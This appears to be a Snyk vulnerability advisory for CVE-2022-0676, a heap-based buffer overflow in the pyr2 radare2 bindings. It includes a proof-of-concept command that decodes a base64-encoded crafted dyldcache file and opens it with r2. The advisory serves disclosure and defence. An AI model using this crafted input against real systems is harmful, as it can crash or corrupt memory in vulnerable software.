Heap-based Buffer Overflow Affecting pyr2 package, versions [0,]
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.15% (53rd
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PYTHON-PYR2-6146058
- published 8 Jan 2024
- disclosed 22 Feb 2022
- credit lazymio
Introduced: 22 Feb 2022
CVE-2022-0676 Open this link in a new tabHow to fix?
There is no fixed version for pyr2
.
Overview
pyr2 is a yet another radare2 python bindings.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow via the processing of a crafted dyldcache
file.
PoC
printf "%s" "ZHlsZF92MSB4ODZfNjRoANFkeWxkXwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABtNjRfdjEgeDg2XzY0aADRZAAAAAAAAAAAAAAAAAAANjQXdjEgIHg4Nl82NAAAAgRkeWxkX3YxICB4ODZfNjQXFxcXFxcXFwAAAAAAAAAAAAAAAAAAAAAAAAAAAP/eAABkeWxkX3YxIHg4Nl82NGgA0RdkeW9kXHYjIHg4Nl82AWgAAAIIZHmBMV9kX3YxAAAAAAAAAAAAdjEAAAAAAAAAAAAAAAAAIQBtNjQAAAAAAAAAAAAAAAAAAAAAWwAAbTY0FxcAAACLAAAAAAAAAAAAFxcPFxcAAAEAAAAAAAAAAAAAAAD+/wAAAAAAAAAAAAA=" | base64 -d > /tmp/a
r2 /tmp/a
References
CVSS Scores
version 3.1